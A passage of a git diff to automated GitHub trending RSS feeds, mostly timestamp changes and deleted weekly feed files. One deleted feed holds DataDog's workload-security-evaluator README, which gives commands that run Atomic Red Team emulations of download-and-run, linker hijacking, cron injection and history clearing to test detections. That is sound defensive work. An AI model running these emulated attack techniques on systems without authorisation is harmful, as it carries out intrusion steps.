href="https://github.com/wuba/fair/commits?author=avenwu" title="Documentation">📖</a></td> </tr> <tr> <td align="center"><a href="https://github.com/LinLeyang"><img src="https://avatars.githubusercontent.com/u/13174498?v=4?s=100" width="100px;" alt=""><br><sub><b>Penta</b></sub></a><br><a href="https://github.com/wuba/fair/commits?author=LinLeyang" title="Code">💻</a> <a href="https://github.com/wuba/fair/commits?author=LinLeyang" title="Documentation">📖</a></td> <td align="center"><a href="https://github.com/153493932"><img src="https://avatars.githubusercontent.com/u/10431131?v=4?s=100" width="100px;" alt=""><br><sub><b>haijun</b></sub></a><br><a href="https://github.com/wuba/fair/commits?author=153493932" title="Code">💻</a> <a href="https://github.com/wuba/fair/commits?author=153493932" title="Documentation">📖</a></td> <td align="center"><a href="https://github.com/waynesonic"><img src="https://avatars.githubusercontent.com/u/5502794?v=4?s=100" width="100px;" alt=""><br><sub><b>waynesonic</b></sub></a><br><a href="https://github.com/wuba/fair/commits?author=waynesonic" title="Code">💻</a></td> <td align="center"><a href="https://github.com/paozhuanyinyu"><img src="https://avatars.githubusercontent.com/u/16041238?v=4?s=100" width="100px;" alt=""><br><sub><b>paozhuanyinyu</b></sub></a><br><a href="https://github.com/wuba/fair/commits?author=paozhuanyinyu" title="Code">💻</a></td> <td align="center"><a href="https://github.com/Alzzzz"><img src="https://avatars.githubusercontent.com/u/19664495?v=4?s=100" width="100px;" alt=""><br><sub><b>alzzzz</b></sub></a><br><a href="https://github.com/wuba/fair/commits?author=Alzzzz" title="Code">💻</a> <a href="https://github.com/wuba/fair/commits?author=Alzzzz" title="Documentation">📖</a></td> <td align="center"><a href="https://github.com/xiangwc"><img src="https://avatars.githubusercontent.com/u/22017021?v=4?s=100" width="100px;" alt=""><br><sub><b>xiangwc</b></sub></a><br><a href="https://github.com/wuba/fair/commits?author=xiangwc" title="Code">💻</a></td> <td align="center"><a href="https://github.com/KKProject"><img src="https://avatars.githubusercontent.com/u/14860258?v=4?s=100" width="100px;" alt=""><br><sub><b>WangYk</b></sub></a><br><a href="https://github.com/wuba/fair/commits?author=KKProject" title="Code">💻</a></td> <td align="center"><a href="https://github.com/JunZiJianYi"><img src="https://avatars.githubusercontent.com/u/34125737?v=4?s=100" width="100px;" alt=""><br><sub><b>SunWei</b></sub></a><br><a href="https://github.com/wuba/fair/commits?author=JunZiJianYi" title="Code">💻</a></td> </tr> <tr> <td align="center"><a href="https://github.com/shanpengtao"><img src="https://avatars.githubusercontent.com/u/7127463?v=4?s=100" width="100px;" alt=""><br><sub><b>单鹏涛</b></sub></a><br><a href="https://github.com/wuba/fair/commits?author=shanpengtao" title="Code">💻</a></td> <td align="center"><a href="https://github.com/lswc225"><img src="https://avatars.githubusercontent.com/u/16609338?v=4?s=100" width="100px;" alt=""><br><sub><b>lswc225</b></sub></a><br><a href="https://github.com/wuba/fair/commits?author=lswc225" title="Code">💻</a></td> <td align="center"><a href="http://www.gaofeiyu.com/"><img src="https://avatars.githubusercontent.com/u/6150536?v=4?s=100" width="100px;" alt=""><br><sub><b>Goofy</b></sub></a><br><a href="https://github.com/wuba/fair/commits?author=gaofeiyu" title="Code">💻</a></td> <td align="center"><a href="https://github.com/itzhaoqian"><img src="https://avatars.githubusercontent.com/u/23277488?v=4?s=100" width="100px;" alt=""><br><sub><b>itzhaoqian</b></sub></a><br><a href="https://github.com/wuba/fair/commits?author=itzhaoqian" title="Code">💻</a></td> <td align="center"><a href="https://github.com/xxliang"><img src="https://avatars.githubusercontent.com/u/5005255?v=4?s=100" width="100px;" alt=""><br><sub><b>Sunlight Xie</b></sub></a><br><a href="https://github.com/wuba/fair/commits?author=xxliang" title="Code">💻</a></td> <td align="center"><a href="https://github.com/a303268287"><img src="https://avatars.githubusercontent.com/u/19368353?v=4?s=100" width="100px;" alt=""><br><sub><b>lhdycxgghb</b></sub></a><br><a href="https://github.com/wuba/fair/commits?author=a303268287" title="Code">💻</a></td> <td align="center"><a href="https://github.com/hlwhl"><img src="https://avatars.githubusercontent.com/u/7610615?v=4?s=100" width="100px;" alt=""><br><sub><b>Prome</b></sub></a><br><a href="https://github.com/wuba/fair/commits?author=hlwhl" title="Code">💻</a></td> <td align="center"><a href="https://github.com/hlwhl"><img src="https://avatars.githubusercontent.com/u/16477333?v=4" width="100px;" alt=""><br><sub><b>zmtzawqlp</b></sub></a><br><a href="https://github.com/wuba/fair/commits?author=zmtzawqlp" title="Code">💻</a></td> </tr> </tbody> </table> <!-- markdownlint-restore --> <!-- prettier-ignore-end --> <!-- ALL-CONTRIBUTORS-LIST:END --> <p>This project follows the <a href="https://github.com/all-contributors/all-contributors">all-contributors</a> specification. Contributions of any kind welcome!</p> <h2>👏🏻Supporters</h2> <p><a href="https://github.com/wuba/fair/stargazers"><img src="https://reporoster.com/stars/wuba/fair" alt="Stargazers repo roster for @wuba/fair"></a></p> <p><a href="https://github.com/wuba/fair/network/members"><img src="https://reporoster.com/forks/wuba/fair" alt="Forkers repo roster for @wuba/fair"></a></p> <h2>🔧Build together</h2> <p>Submit issues through <a href="https://github.com/wuba/fair/issues">Issue</a>, contribute code through Pull Request, and the administrator will review the code.</p> <p>Friends who are interested in Fair can join the exchange group. For technical consultation and discussion, please go to</p> <table> <thead> <tr> <th>WeChat secretary</th> <th>WeChat group</th> </tr> </thead> <tbody> <tr> <td><img src="https://raw.githubusercontent.com/wuba/Fair/main/resources/weixin.jpeg" alt="wechat"></td> <td><img src="https://raw.githubusercontent.com/wuba/Fair/main/resources/wechat-group-02.png" alt="wechat_group"></td> </tr> </tbody> </table> <h2>License</h2> <p>Copyright (C) 2005-present, 58.com. All rights reserved.</p> <p>Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:</p> <pre><code>* Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of 58.com nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. </code></pre> <p>THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.</p> - - \ No newline at end of file diff --git a/dataweave/daily/index.xml b/dataweave/daily/index.xml index 65ab07bc63b..95f6e88d35c 100644 --- a/dataweave/daily/index.xml +++ b/dataweave/daily/index.xml @@ -1,7 +1,7 @@ GitHub DataWeave Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:29:06Z + 2023-09-25T01:27:30Z Daily Trending of DataWeave in GitHub \ No newline at end of file diff --git a/dataweave/weekly/index.xml b/dataweave/weekly/index.xml deleted file mode 100644 index bcd71b2ab3b..00000000000 --- a/dataweave/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub DataWeave Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:48:40Z - Weekly Trending of DataWeave in GitHub - - \ No newline at end of file diff --git a/debian-package-control-file/daily/index.xml b/debian-package-control-file/daily/index.xml index 5e7c3f15a58..770d36e2d12 100644 --- a/debian-package-control-file/daily/index.xml +++ b/debian-package-control-file/daily/index.xml @@ -1,7 +1,7 @@ GitHub Debian Package Control File Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:29:04Z + 2023-09-25T01:27:29Z Daily Trending of Debian Package Control File in GitHub \ No newline at end of file diff --git a/debian-package-control-file/weekly/index.xml b/debian-package-control-file/weekly/index.xml deleted file mode 100644 index ee7a99ef27c..00000000000 --- a/debian-package-control-file/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Debian Package Control File Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:48:39Z - Weekly Trending of Debian Package Control File in GitHub - - \ No newline at end of file diff --git a/denizenscript/daily/index.xml b/denizenscript/daily/index.xml index 9ded9bee5e5..3222d327001 100644 --- a/denizenscript/daily/index.xml +++ b/denizenscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub DenizenScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:29:05Z + 2023-09-25T01:27:28Z Daily Trending of DenizenScript in GitHub \ No newline at end of file diff --git a/denizenscript/weekly/index.xml b/denizenscript/weekly/index.xml deleted file mode 100644 index 1145178fcd1..00000000000 --- a/denizenscript/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub DenizenScript Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:48:41Z - Weekly Trending of DenizenScript in GitHub - - \ No newline at end of file diff --git a/desktop/daily/index.xml b/desktop/daily/index.xml index 60e2c9bb5dd..88c344ba46f 100644 --- a/desktop/daily/index.xml +++ b/desktop/daily/index.xml @@ -1,7 +1,7 @@ GitHub desktop Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:29:25Z + 2023-09-25T01:27:44Z Daily Trending of desktop in GitHub \ No newline at end of file diff --git a/desktop/weekly/index.xml b/desktop/weekly/index.xml deleted file mode 100644 index 6921a423d49..00000000000 --- a/desktop/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub desktop Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:48:55Z - Weekly Trending of desktop in GitHub - - \ No newline at end of file diff --git a/dhall/daily/index.xml b/dhall/daily/index.xml index 1ed910dd7af..13b34848a29 100644 --- a/dhall/daily/index.xml +++ b/dhall/daily/index.xml @@ -1,7 +1,7 @@ GitHub Dhall Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:29:24Z + 2023-09-25T01:27:45Z Daily Trending of Dhall in GitHub \ No newline at end of file diff --git a/dhall/weekly/index.xml b/dhall/weekly/index.xml deleted file mode 100644 index 80824829666..00000000000 --- a/dhall/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Dhall Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:48:53Z - Weekly Trending of Dhall in GitHub - - \ No newline at end of file diff --git a/diff/daily/index.xml b/diff/daily/index.xml index 5c0b8261779..decd0d5cd21 100644 --- a/diff/daily/index.xml +++ b/diff/daily/index.xml @@ -1,7 +1,7 @@ GitHub Diff Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:29:22Z + 2023-09-25T01:27:44Z Daily Trending of Diff in GitHub \ No newline at end of file diff --git a/diff/weekly/index.xml b/diff/weekly/index.xml deleted file mode 100644 index 1f7cc0f71bd..00000000000 --- a/diff/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Diff Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:48:54Z - Weekly Trending of Diff in GitHub - - \ No newline at end of file diff --git a/digital-command-language/daily/index.xml b/digital-command-language/daily/index.xml index 064c991e144..3042ce5eb2e 100644 --- a/digital-command-language/daily/index.xml +++ b/digital-command-language/daily/index.xml @@ -1,7 +1,7 @@ GitHub DIGITAL Command Language Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:29:23Z + 2023-09-25T01:27:46Z Daily Trending of DIGITAL Command Language in GitHub \ No newline at end of file diff --git a/digital-command-language/weekly/index.xml b/digital-command-language/weekly/index.xml deleted file mode 100644 index 2f00ef75822..00000000000 --- a/digital-command-language/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub DIGITAL Command Language Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:48:52Z - Weekly Trending of DIGITAL Command Language in GitHub - - \ No newline at end of file diff --git a/dircolors/daily/index.xml b/dircolors/daily/index.xml index ebc5aab4061..cf0321cdbd0 100644 --- a/dircolors/daily/index.xml +++ b/dircolors/daily/index.xml @@ -1,7 +1,7 @@ GitHub dircolors Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:29:26Z + 2023-09-25T01:27:48Z Daily Trending of dircolors in GitHub \ No newline at end of file diff --git a/dircolors/weekly/index.xml b/dircolors/weekly/index.xml deleted file mode 100644 index 886985911fc..00000000000 --- a/dircolors/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub dircolors Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:48:56Z - Weekly Trending of dircolors in GitHub - - \ No newline at end of file diff --git a/directx-3d-file/daily/index.xml b/directx-3d-file/daily/index.xml index 2768c5c9973..e745ad1ef8e 100644 --- a/directx-3d-file/daily/index.xml +++ b/directx-3d-file/daily/index.xml @@ -1,7 +1,7 @@ GitHub DirectX 3D File Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:29:28Z + 2023-09-25T01:27:49Z Daily Trending of DirectX 3D File in GitHub \ No newline at end of file diff --git a/directx-3d-file/weekly/index.xml b/directx-3d-file/weekly/index.xml deleted file mode 100644 index b143e4d2055..00000000000 --- a/directx-3d-file/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub DirectX 3D File Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:48:57Z - Weekly Trending of DirectX 3D File in GitHub - - \ No newline at end of file diff --git a/dm/daily/index.xml b/dm/daily/index.xml index d77a740a0d5..27499ba2634 100644 --- a/dm/daily/index.xml +++ b/dm/daily/index.xml @@ -1,7 +1,7 @@ GitHub DM Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:29:30Z + 2023-09-25T01:27:51Z Daily Trending of DM in GitHub \ No newline at end of file diff --git a/dm/weekly/index.xml b/dm/weekly/index.xml deleted file mode 100644 index 0bbec1f0d92..00000000000 --- a/dm/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub DM Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:48:59Z - Weekly Trending of DM in GitHub - - \ No newline at end of file diff --git a/dns-zone/daily/index.xml b/dns-zone/daily/index.xml index 1a477898a81..a79a2985176 100644 --- a/dns-zone/daily/index.xml +++ b/dns-zone/daily/index.xml @@ -1,7 +1,7 @@ GitHub DNS Zone Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:29:27Z + 2023-09-25T01:27:49Z Daily Trending of DNS Zone in GitHub \ No newline at end of file diff --git a/dns-zone/weekly/index.xml b/dns-zone/weekly/index.xml deleted file mode 100644 index 6930a8edc67..00000000000 --- a/dns-zone/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub DNS Zone Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:48:58Z - Weekly Trending of DNS Zone in GitHub - - \ No newline at end of file diff --git a/dockerfile/daily/index.xml b/dockerfile/daily/index.xml index a6008c46b7a..ef516de75c7 100644 --- a/dockerfile/daily/index.xml +++ b/dockerfile/daily/index.xml @@ -1,7 +1,14 @@ GitHub Dockerfile Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:29:36Z + 2023-09-25T01:27:57Z Daily Trending of Dockerfile in GitHub + + hp20h5w91nf1/webgotty + 2023-09-25T01:27:57Z + tag:github.com,2023-09-25:/hp20h5w91nf1/webgotty + + <p></p><hr><h1>webgotty</h1> + \ No newline at end of file diff --git a/dockerfile/weekly/index.xml b/dockerfile/weekly/index.xml deleted file mode 100644 index 9b2c392c802..00000000000 --- a/dockerfile/weekly/index.xml +++ /dev/null @@ -1,21 +0,0 @@ - - GitHub Dockerfile Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:49:06Z - Weekly Trending of Dockerfile in GitHub - - - karaage0703/open-interpreter-docker - 2023-09-24T01:49:06Z - tag:github.com,2023-09-24:/karaage0703/open-interpreter-docker - - <p>open interpreter docker environment</p><hr><h1>open-interpreter-docker</h1> <p><a href="https://github.com/KillianLucas/open-interpreter">Open Interpreter</a> docker environment</p> <h2>Setup</h2> <p>Execute following command:</p> <pre><code class="language-sh">$ cd &amp;&amp; git clone https://github.com/karaage0703/open-interpreter-docker </code></pre> <h2>Simple</h2> <h3>Docker build</h3> <pre><code class="language-sh">$ cd ~/open-interpreter-docker $ docker build -t open-interpreter-simple ./container-simple </code></pre> <h3>Docker run</h3> <pre><code class="language-sh">$ cd ~/open-interpreter-docker $ docker run -it --rm -v $(pwd):/root open-interpreter-simple </code></pre> <h3>Run app</h3> <p>Execute following command in container:</p> <pre><code class="language-sh">root@hostname:~# interpreter -y </code></pre> <p>And enjoy open interpreter</p> <h2>GUI</h2> <h3>Docker build</h3> <pre><code class="language-sh">$ cd ~/open-interpreter-docker $ docker build -t open-interpreter-gui ./container-gui </code></pre> <h3>Docker run</h3> <pre><code class="language-sh">$ cd ~/open-interpreter-docker $ docker run -v $(pwd):/root -p 6080:80 open-interpreter-gui </code></pre> <h3>Run app</h3> <p>Browse <a href="http://127.0.0.1:6080/">http://127.0.0.1:6080/</a></p> <p>Enjoy open interpreter</p> <h2>References</h2> <ul> <li><a href="https://note.com/masia02/n/n630d091c4a02">https://note.com/masia02/n/n630d091c4a02</a></li> <li><a href="https://github.com/Frederic-Boulanger-UPS/docker-ubuntu_22-04-novnc">https://github.com/Frederic-Boulanger-UPS/docker-ubuntu_22-04-novnc</a></li> <li><a href="https://rooter.jp/infra-ops/build_docker_jp_env/">https://rooter.jp/infra-ops/build_docker_jp_env/</a></li> </ul> - - - DataDog/workload-security-evaluator - 2023-09-24T01:49:06Z - tag:github.com,2023-09-24:/DataDog/workload-security-evaluator - - <p>Tooling to simulate runtime attacks and test default runtime detections from Datadog Cloud Security Management.</p><hr><p>Workload Security Evaluator provides tooling to simulate runtime attacks and test default runtime detections from Datadog Cloud Security Management. Tests are completed using <a href="https://atomicredteam.io/">Atomic Red Team</a>.</p> <p>Read the <a href="https://datadoghq.com/blog/workload-security-evaluator">corresponding blog post</a> for more details.</p> <ul> <li><a href="https://raw.githubusercontent.com/DataDog/workload-security-evaluator/main/#requirements">Requirements</a></li> <li><a href="https://raw.githubusercontent.com/DataDog/workload-security-evaluator/main/#getting-started">Getting started</a></li> <li><a href="https://raw.githubusercontent.com/DataDog/workload-security-evaluator/main/#atomic-test-organization">Atomic test organization</a></li> <li><a href="https://raw.githubusercontent.com/DataDog/workload-security-evaluator/main/#test-against-real-world-threats">Test against real-world threats</a></li> <li><a href="https://raw.githubusercontent.com/DataDog/workload-security-evaluator/main/#techniques-not-relevant-to-production-workloads">Techniques not relevant to production workloads</a></li> </ul> <h2>Requirements</h2> <p>Workload Security Evaluator runs on Docker. For the most accurate results, Datadog recommends launching a compute instance in your preferred cloud provider. Alternatively, use a virtual machine or Docker Desktop. Apple silicon is not supported.</p> <h2>Getting started</h2> <ol> <li>Build and run the containers with the following commands.</li> </ol> <pre><code>export DD_API_KEY="&lt;api-key&gt;" # Found at https://app.datadoghq.com/organization-settings/api-keys docker compose build docker compose up -d </code></pre> <ol start="2"> <li>Enter the evaluator container and run atomics.</li> </ol> <pre><code>docker exec -it atomicredteam /usr/bin/pwsh Invoke-AtomicTest T1105-27 -ShowDetails Invoke-AtomicTest T1105-27 -GetPrereqs # Download packages or payloads Invoke-AtomicTest T1105-27 </code></pre> <ol start="3"> <li>Check for a signal in the Datadog <a href="https://app.datadoghq.com/security?query=env%3Aemulation">Signals Explorer</a> page. Signals from Workload Security Evaluator are tagged with <code>env:emulation</code> to differentiate them from real security threats.</li> <li>Revert the changes made by the atomic.</li> </ol> <pre><code>Invoke-AtomicTest T1053.003-2 -Cleanup </code></pre> <ol start="5"> <li>Repeat with a different atomic.</li> <li>Shutdown the containers.</li> </ol> <pre><code>docker compose down </code></pre> <h2>Atomic test organization</h2> <p><a href="https://atomicredteam.io/">Atomic Red Team</a> often contains multiple tests for the same ATT&amp;CK technique. For example, the test identifier T1136.001-1 refers to the first test for MITRE ATT&amp;CK technique T1136.001 (Create Account: Local Account). This test creates an account on a Linux system. The second test, T1136.001-2, creates an account on a MacOS system.</p> <h2>Test against real-world threats</h2> <p>The following atomics are recommended as a starting point. They emulate techniques that were observed in real attacks targeting cloud workloads.</p> <table> <thead> <tr> <th>Atomic ID</th> <th>Atomic Name</th> <th>Datadog Rule</th> <th>Source</th> </tr> </thead> <tbody> <tr> <td>T1105-27</td> <td><a href="https://atomicredteam.io/command-and-control/T1105/#atomic-test-27---linux-download-file-and-run">Linux Download File and Run</a></td> <td><a href="https://docs.datadoghq.com/security/default_rules/executable_bit_added/">Executable bit added to new file</a></td> <td><a href="https://blog.talosintelligence.com/teamtnt-targeting-aws-alibaba-2/">Source</a></td> </tr> <tr> <td>T1046-2</td> <td><a href="https://atomicredteam.io/discovery/T1046/#atomic-test-2---port-scan-nmap">Port Scan Nmap</a></td> <td><a href="https://docs.datadoghq.com/security/default_rules/common_net_intrusion_util/">Network scanning utility executed</a></td> <td><a href="https://blog.talosintelligence.com/teamtnt-targeting-aws-alibaba-2/">Source</a></td> </tr> <tr> <td>T1574.006-1</td> <td><a href="https://atomicredteam.io/defense-evasion/T1574.006/#atomic-test-1---shared-library-injection-via-etcldsopreload">Shared Library Injection via /etc/ld.so.preload</a></td> <td><a href="https://docs.datadoghq.com/security/default_rules/suspected_dynamic_linker_hijacking/">Suspected dynamic linker hijacking attempt</a></td> <td><a href="https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/">Source</a></td> </tr> <tr> <td>T1053.003-2</td> <td><a href="https://atomicredteam.io/privilege-escalation/T1053.003/#atomic-test-2---cron---add-script-to-all-cron-subfolders">Cron - Add script to all cron subfolders</a></td> <td><a href="https://docs.datadoghq.com/security/default_rules/cron_at_job_injection/">Cron job modified</a></td> <td><a href="https://blog.talosintelligence.com/rocke-champion-of-monero-miners/">Source</a></td> </tr> <tr> <td>T1070.003-1</td> <td><a href="https://atomicredteam.io/defense-evasion/T1070.003/#atomic-test-1---clear-bash-history-(rm)">Clear Bash history (rm)</a></td> <td><a href="https://docs.datadoghq.com/security/default_rules/shell_history_tamper/">Shell command history modified</a></td> <td><a href="https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/">Source</a></td> </tr> </tbody> </table> <p>For a full list of Datadog's runtime detections, visit the <a href="https://docs.datadoghq.com/security/default_rules/#cat-workload-security">Out-of-the-box (OOTB) rules</a> page. MITRE ATT&amp;CK tactic and technique information is provided for every rule.</p> <h2>Techniques not relevant to production workloads</h2> <p>The MITRE ATT&amp;CK <a href="https://attack.mitre.org/matrices/enterprise/linux/">Linux Matrix</a> contains techniques for Linux hosts with a variety of purposes. Testing the techniques located in <a href="https://raw.githubusercontent.com/DataDog/workload-security-evaluator/main/notrelevant.md">notrelevant.md</a> is not recommended, because they are focused on Linux workstations or are unlikely to be detected using operating system events.</p> <p><a href="https://mitre-attack.github.io/attack-navigator//#layerURL=https%3A%2F%2Fraw%2Egithubusercontent%2Ecom%2FDataDog%2Fworkload-security-evaluator%2Fmain%2Fnotrelevant_layer%2Ejson">Visualize with ATT&amp;CK Navigator</a>.</p> - - \ No newline at end of file diff --git a/dogescript/daily/index.xml b/dogescript/daily/index.xml index 1a1297b2285..72affb0ccda 100644 --- a/dogescript/daily/index.xml +++ b/dogescript/daily/index.xml @@ -1,7 +1,7 @@ GitHub Dogescript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:29:32Z + 2023-09-25T01:27:53Z Daily Trending of Dogescript in GitHub \ No newline at end of file diff --git a/dogescript/weekly/index.xml b/dogescript/weekly/index.xml deleted file mode 100644 index 3afac32009e..00000000000 --- a/dogescript/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Dogescript Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:49:01Z - Weekly Trending of Dogescript in GitHub - - \ No newline at end of file diff --git a/dtrace/daily/index.xml b/dtrace/daily/index.xml index e501368c6cc..5eb8be0b027 100644 --- a/dtrace/daily/index.xml +++ b/dtrace/daily/index.xml @@ -1,7 +1,7 @@ GitHub DTrace Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:29:31Z + 2023-09-25T01:27:52Z Daily Trending of DTrace in GitHub \ No newline at end of file diff --git a/dtrace/weekly/index.xml b/dtrace/weekly/index.xml deleted file mode 100644 index 0f077635c2a..00000000000 --- a/dtrace/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub DTrace Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:49:02Z - Weekly Trending of DTrace in GitHub - - \ No newline at end of file diff --git a/dylan/daily/index.xml b/dylan/daily/index.xml index 94ff2b15518..9db31475512 100644 --- a/dylan/daily/index.xml +++ b/dylan/daily/index.xml @@ -1,7 +1,7 @@ GitHub Dylan Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:29:51Z + 2023-09-25T01:28:34Z Daily Trending of Dylan in GitHub \ No newline at end of file diff --git a/dylan/weekly/index.xml b/dylan/weekly/index.xml deleted file mode 100644 index dd15ebce5b1..00000000000 --- a/dylan/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Dylan Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:49:29Z - Weekly Trending of Dylan in GitHub - - \ No newline at end of file diff --git a/e-mail/daily/index.xml b/e-mail/daily/index.xml index a6b1ce07311..d5ed8eb8f31 100644 --- a/e-mail/daily/index.xml +++ b/e-mail/daily/index.xml @@ -1,7 +1,7 @@ GitHub E-mail Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:30:12Z + 2023-09-25T01:28:58Z Daily Trending of E-mail in GitHub \ No newline at end of file diff --git a/e-mail/weekly/index.xml b/e-mail/weekly/index.xml deleted file mode 100644 index ebc692186f7..00000000000 --- a/e-mail/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub E-mail Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:49:49Z - Weekly Trending of E-mail in GitHub - - \ No newline at end of file diff --git a/e/daily/index.xml b/e/daily/index.xml index 4fde4b286e2..d099eb3d2f7 100644 --- a/e/daily/index.xml +++ b/e/daily/index.xml @@ -1,7 +1,7 @@ GitHub E Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:29:49Z + 2023-09-25T01:28:36Z Daily Trending of E in GitHub \ No newline at end of file diff --git a/e/weekly/index.xml b/e/weekly/index.xml deleted file mode 100644 index dfd64ee067b..00000000000 --- a/e/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub E Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:49:28Z - Weekly Trending of E in GitHub - - \ No newline at end of file diff --git a/eagle/daily/index.xml b/eagle/daily/index.xml index 641e4748c39..c7bf9796390 100644 --- a/eagle/daily/index.xml +++ b/eagle/daily/index.xml @@ -1,7 +1,7 @@ GitHub Eagle Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:29:50Z + 2023-09-25T01:28:36Z Daily Trending of Eagle in GitHub \ No newline at end of file diff --git a/eagle/weekly/index.xml b/eagle/weekly/index.xml deleted file mode 100644 index f9ac6567bfb..00000000000 --- a/eagle/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Eagle Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:49:27Z - Weekly Trending of Eagle in GitHub - - \ No newline at end of file diff --git a/earthly/daily/index.xml b/earthly/daily/index.xml index 0258928006c..8233e234633 100644 --- a/earthly/daily/index.xml +++ b/earthly/daily/index.xml @@ -1,7 +1,7 @@ GitHub Earthly Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:29:55Z + 2023-09-25T01:28:38Z Daily Trending of Earthly in GitHub \ No newline at end of file diff --git a/earthly/weekly/index.xml b/earthly/weekly/index.xml deleted file mode 100644 index 337c670d9b3..00000000000 --- a/earthly/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Earthly Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:49:33Z - Weekly Trending of Earthly in GitHub - - \ No newline at end of file diff --git a/easybuild/daily/index.xml b/easybuild/daily/index.xml index 3da5f79fe2b..92b8a35718d 100644 --- a/easybuild/daily/index.xml +++ b/easybuild/daily/index.xml @@ -1,7 +1,7 @@ GitHub Easybuild Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:29:54Z + 2023-09-25T01:28:39Z Daily Trending of Easybuild in GitHub \ No newline at end of file diff --git a/easybuild/weekly/index.xml b/easybuild/weekly/index.xml deleted file mode 100644 index 7c0f62f738b..00000000000 --- a/easybuild/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Easybuild 